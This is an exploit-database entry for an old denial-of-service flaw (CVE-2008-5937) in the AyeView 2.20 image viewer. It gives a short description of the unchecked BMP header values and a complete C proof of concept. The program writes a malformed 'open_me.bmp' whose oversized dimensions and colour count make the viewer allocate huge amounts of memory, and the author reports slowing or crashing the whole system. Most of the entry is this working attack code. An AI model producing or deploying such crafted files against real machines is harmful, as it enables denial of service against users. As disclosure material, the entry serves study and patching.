Exploit AyeView 2.20 - Invalid Bitmap Header Parsing Crash

[Exploiter]

EDB-ID

6672

Проверка EDB

1. Пройдено

Автор

SUN8HCLF

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

cve-2008-5937

Дата публикации

2008-10-05

Name      : AyeView v2.20 (invalid bitmap header parsing) DoS Exploit
Credit    : suN8Hclf (DaRk-CodeRs Group), [email protected]
Download: : http://www.ayeview.com/downloads.htm
Greetz    : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, 
            Katharsis, str0ke, all from #dark-coders and others;]

Short Desc:
AyeView v2.20 software does not properly parse values in bmp file header.
In fact it does it good but it does not check if these values are "reasonable".
Therefore we can create a special bitmap, that will slow down or even
suspend the entire system. I have written a PoC that enforce AyeView
to allocate large amounts of memory. Short history:

First start of exploit      ->  the system really slowed down
Second start(another values)->  I got a message that "the amount of virtual memory
                                is too low", explorer.exe crashed
Third start(another values) ->  AyeView crashed

PoC:
------------------------------exploit---------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

struct bmpfile_header{
    short bfType;
    int bfSize;
    int Res;
    int bfOffBits;
    int biSize;
    int biWidth;
    int biHeight;
    short biPlanes;
    short biBitCount;
    int biCompression;
    int biSizeImage;
    int biXPelsPerMeter;
    int biYPelsPerMeter;
    int biClrUsed;
    char biClrImportant;
    char biClrRotation;
    short biReserved;
}__attribute__((packed)); //shift to 54 bytes


#define WIDTH 3000       //play around with these values...
#define HEIGHT 60000
#define Y 44432
#define X 54444

int main(int argc, char *argv[])
{
	struct bmpfile_header *bmpheader;
	char *memory;
	FILE *f;
	
	memory=(char *)malloc(60);
	if(memory==NULL){
		perror("malloc");
		return -1;
	}
	memset(memory, 0, 60);
	bmpheader=(struct bmpfile_header *)memory;
	printf("[+]Building bitmap... :)\n");
	bmpheader->bfType=*(short *)"BM";
	bmpheader->bfSize=(int)60;
	bmpheader->Res=0;
	bmpheader->bfOffBits=54;
	bmpheader->biSize=40;
	bmpheader->biHeight=(int)HEIGHT;
	bmpheader->biWidth=(int)WIDTH;
	bmpheader->biPlanes=1;
	bmpheader->biBitCount=24;
	bmpheader->biCompression=0;
	bmpheader->biSizeImage=6;
	bmpheader->biXPelsPerMeter=(int)X;
	bmpheader->biYPelsPerMeter=(int)Y;
	bmpheader->biClrUsed=255*255*255;
	bmpheader->biClrImportant=0;
	bmpheader->biClrRotation=0;
	
	f=fopen("open_me.bmp", "wb");
    	if(!f){
           perror("fopen");
           free(memory);
           exit(-1);
    	}
    	fwrite(memory, 1, 60, f);
    	fclose(f); 
	printf("[+]open_me.bmp bitmap created :)\n");
	free(memory);
	return 0;
}
------------------------------exploit---------------------------

Stay secure...

# milw0rm.com [2008-10-05]